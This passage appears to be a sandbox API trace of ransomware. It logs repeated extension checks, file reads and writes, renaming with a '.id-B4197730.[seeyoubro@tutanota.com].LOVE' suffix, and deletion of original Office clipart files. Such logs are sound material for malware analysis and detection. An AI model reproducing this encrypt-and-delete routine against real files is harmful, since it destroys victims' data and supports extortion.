office\\root\\clipart\\pub60cor\\dd01138_.wmf")) returned 1 [0218.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0218.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0218.459] lstrlenW (lpString=".doc") returned 4 [0218.459] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.459] lstrlenW (lpString=".docx") returned 5 [0218.459] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.459] lstrlenW (lpString=".pdf") returned 4 [0218.459] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.459] lstrlenW (lpString=".xls") returned 4 [0218.459] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.459] lstrlenW (lpString=".xlsx") returned 5 [0218.459] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.459] lstrlenW (lpString=".ppt") returned 4 [0218.459] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0218.459] lstrlenW (lpString=".zip") returned 4 [0218.459] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.459] lstrlenW (lpString=".rar") returned 4 [0218.459] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.459] lstrlenW (lpString=".bz2") returned 4 [0218.459] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.459] lstrlenW (lpString=".7z") returned 3 [0218.460] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0218.460] lstrlenW (lpString=".dbf") returned 4 [0218.460] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0218.460] lstrlenW (lpString=".1cd") returned 4 [0218.460] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0218.460] lstrlenW (lpString=".jpg") returned 4 [0218.460] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.460] GetLastError () returned 0x0 [0218.460] ReadFile (in: hFile=0x348, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0xe30, lpOverlapped=0x0) returned 1 [0218.484] WriteFile (in: hFile=0x2cc, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xe40, lpOverlapped=0x0) returned 1 [0218.485] ReadFile (in: hFile=0x348, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0218.485] WriteFile (in: hFile=0x2cc, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0218.485] SetEndOfFile (hFile=0x2cc) returned 1 [0218.485] CloseHandle (hObject=0x2cc) returned 1 [0218.485] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0218.485] SetEndOfFile (hFile=0x348) returned 1 [0218.486] CloseHandle (hObject=0x348) returned 1 [0218.486] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0218.486] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf")) returned 1 [0218.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0218.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0218.487] lstrlenW (lpString=".doc") returned 4 [0218.487] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.487] lstrlenW (lpString=".docx") returned 5 [0218.487] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.487] lstrlenW (lpString=".pdf") returned 4 [0218.487] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.487] lstrlenW (lpString=".xls") returned 4 [0218.487] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.487] lstrlenW (lpString=".xlsx") returned 5 [0218.487] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.487] lstrlenW (lpString=".ppt") returned 4 [0218.487] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0218.487] lstrlenW (lpString=".zip") returned 4 [0218.488] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.488] lstrlenW (lpString=".rar") returned 4 [0218.488] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.488] lstrlenW (lpString=".bz2") returned 4 [0218.488] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.488] lstrlenW (lpString=".7z") returned 3 [0218.488] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0218.488] lstrlenW (lpString=".dbf") returned 4 [0218.488] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0218.488] lstrlenW (lpString=".1cd") returned 4 [0218.488] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0218.488] lstrlenW (lpString=".jpg") returned 4 [0218.488] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.489] GetLastError () returned 0x0 [0218.489] ReadFile (in: hFile=0x348, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0xaec, lpOverlapped=0x0) returned 1 [0218.613] WriteFile (in: hFile=0x2cc, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xaf0, lpOverlapped=0x0) returned 1 [0218.614] ReadFile (in: hFile=0x348, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0218.614] WriteFile (in: hFile=0x2cc, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0218.614] SetEndOfFile (hFile=0x2cc) returned 1 [0218.614] CloseHandle (hObject=0x2cc) returned 1 [0218.614] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0218.614] SetEndOfFile (hFile=0x348) returned 1 [0218.615] CloseHandle (hObject=0x348) returned 1 [0218.615] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0218.615] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf")) returned 1 [0218.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0218.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0218.616] lstrlenW (lpString=".doc") returned 4 [0218.616] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.616] lstrlenW (lpString=".docx") returned 5 [0218.616] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.616] lstrlenW (lpString=".pdf") returned 4 [0218.616] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.616] lstrlenW (lpString=".xls") returned 4 [0218.616] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.616] lstrlenW (lpString=".xlsx") returned 5 [0218.616] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.616] lstrlenW (lpString=".ppt") returned 4 [0218.616] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0218.616] lstrlenW (lpString=".zip") returned 4 [0218.616] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.616] lstrlenW (lpString=".rar") returned 4 [0218.616] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.616] lstrlenW (lpString=".bz2") returned 4 [0218.616] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.616] lstrlenW (lpString=".7z") returned 3 [0218.616] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0218.616] lstrlenW (lpString=".dbf") returned 4 [0218.616] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0218.616] lstrlenW (lpString=".1cd") returned 4 [0218.616] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0218.616] lstrlenW (lpString=".jpg") returned 4 [0218.616] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.617] GetLastError () returned 0x0 [0218.617] ReadFile (in: hFile=0x348, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0xb90, lpOverlapped=0x0) returned 1 [0218.799] WriteFile (in: hFile=0x2cc, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xba0, lpOverlapped=0x0) returned 1 [0218.799] ReadFile (in: hFile=0x348, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0218.800] WriteFile (in: hFile=0x2cc, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0218.800] SetEndOfFile (hFile=0x2cc) returned 1 [0218.800] CloseHandle (hObject=0x2cc) returned 1 [0218.800] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0218.800] SetEndOfFile (hFile=0x348) returned 1 [0218.801] CloseHandle (hObject=0x348) returned 1 [0218.801] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0218.801] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf")) returned 1 [0218.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0218.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0218.818] lstrlenW (lpString=".doc") returned 4 [0218.818] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.818] lstrlenW (lpString=".docx") returned 5 [0218.818] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.818] lstrlenW (lpString=".pdf") returned 4 [0218.818] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.818] lstrlenW (lpString=".xls") returned 4 [0218.819] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.819] lstrlenW (lpString=".xlsx") returned 5 [0218.819] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.819] lstrlenW (lpString=".ppt") returned 4 [0218.819] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0218.819] lstrlenW (lpString=".zip") returned 4 [0218.819] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.819] lstrlenW (lpString=".rar") returned 4 [0218.819] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.819] lstrlenW (lpString=".bz2") returned 4 [0218.819] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.819] lstrlenW (lpString=".7z") returned 3 [0218.819] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0218.819] lstrlenW (lpString=".dbf") returned 4 [0218.819] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0218.819] lstrlenW (lpString=".1cd") returned 4 [0218.819] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0218.819] lstrlenW (lpString=".jpg") returned 4 [0218.819] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.819] GetLastError () returned 0x0 [0218.819] ReadFile (in: hFile=0x354, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x8b8, lpOverlapped=0x0) returned 1 [0218.824] WriteFile (in: hFile=0x35c, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x8c0, lpOverlapped=0x0) returned 1 [0218.825] ReadFile (in: hFile=0x354, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0218.825] WriteFile (in: hFile=0x35c, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0218.826] SetEndOfFile (hFile=0x35c) returned 1 [0218.826] CloseHandle (hObject=0x35c) returned 1 [0218.826] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0218.826] SetEndOfFile (hFile=0x354) returned 1 [0218.827] CloseHandle (hObject=0x354) returned 1 [0218.827] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0218.827] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf")) returned 1 [0218.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0218.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0218.827] lstrlenW (lpString=".doc") returned 4 [0218.827] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.827] lstrlenW (lpString=".docx") returned 5 [0218.827] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.827] lstrlenW (lpString=".pdf") returned 4 [0218.827] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.827] lstrlenW (lpString=".xls") returned 4 [0218.827] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.827] lstrlenW (lpString=".xlsx") returned 5 [0218.828] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.828] lstrlenW (lpString=".ppt") returned 4 [0218.828] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0218.828] lstrlenW (lpString=".zip") returned 4 [0218.828] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.828] lstrlenW (lpString=".rar") returned 4 [0218.828] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.828] lstrlenW (lpString=".bz2") returned 4 [0218.828] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.828] lstrlenW (lpString=".7z") returned 3 [0218.828] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0218.828] lstrlenW (lpString=".dbf") returned 4 [0218.828] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0218.828] lstrlenW (lpString=".1cd") returned 4 [0218.828] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0218.828] lstrlenW (lpString=".jpg") returned 4 [0218.828] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.839] GetLastError () returned 0x0 [0218.839] ReadFile (in: hFile=0x380, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x70c, lpOverlapped=0x0) returned 1 [0218.847] WriteFile (in: hFile=0x384, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x710, lpOverlapped=0x0) returned 1 [0218.848] ReadFile (in: hFile=0x380, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0218.848] WriteFile (in: hFile=0x384, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0218.848] SetEndOfFile (hFile=0x384) returned 1 [0218.848] CloseHandle (hObject=0x384) returned 1 [0218.848] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0218.848] SetEndOfFile (hFile=0x380) returned 1 [0218.849] CloseHandle (hObject=0x380) returned 1 [0218.849] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0218.849] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf")) returned 1 [0218.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0218.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0218.850] lstrlenW (lpString=".doc") returned 4 [0218.850] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.850] lstrlenW (lpString=".docx") returned 5 [0218.850] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.850] lstrlenW (lpString=".pdf") returned 4 [0218.850] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.850] lstrlenW (lpString=".xls") returned 4 [0218.850] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.850] lstrlenW (lpString=".xlsx") returned 5 [0218.850] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.850] lstrlenW (lpString=".ppt") returned 4 [0218.850] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0218.850] lstrlenW (lpString=".zip") returned 4 [0218.850] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.850] lstrlenW (lpString=".rar") returned 4 [0218.850] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.850] lstrlenW (lpString=".bz2") returned 4 [0218.850] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.850] lstrlenW (lpString=".7z") returned 3 [0218.850] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0218.850] lstrlenW (lpString=".dbf") returned 4 [0218.850] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0218.850] lstrlenW (lpString=".1cd") returned 4 [0218.850] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0218.851] lstrlenW (lpString=".jpg") returned 4 [0218.851] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.851] GetLastError () returned 0x0 [0218.851] ReadFile (in: hFile=0x380, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x824, lpOverlapped=0x0) returned 1 [0218.935] WriteFile (in: hFile=0x384, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x830, lpOverlapped=0x0) returned 1 [0218.936] ReadFile (in: hFile=0x380, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0218.936] WriteFile (in: hFile=0x384, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0218.937] SetEndOfFile (hFile=0x384) returned 1 [0218.937] CloseHandle (hObject=0x384) returned 1 [0218.937] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0218.937] SetEndOfFile (hFile=0x380) returned 1 [0218.938] CloseHandle (hObject=0x380) returned 1 [0218.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0218.939] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf")) returned 1 [0218.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0218.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0218.939] lstrlenW (lpString=".doc") returned 4 [0218.939] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.939] lstrlenW (lpString=".docx") returned 5 [0218.939] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.939] lstrlenW (lpString=".pdf") returned 4 [0218.939] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.939] lstrlenW (lpString=".xls") returned 4 [0218.939] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.939] lstrlenW (lpString=".xlsx") returned 5 [0218.939] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.939] lstrlenW (lpString=".ppt") returned 4 [0218.939] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0218.939] lstrlenW (lpString=".zip") returned 4 [0218.939] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.939] lstrlenW (lpString=".rar") returned 4 [0218.940] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.940] lstrlenW (lpString=".bz2") returned 4 [0218.940] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.940] lstrlenW (lpString=".7z") returned 3 [0218.940] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0218.940] lstrlenW (lpString=".dbf") returned 4 [0218.940] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") 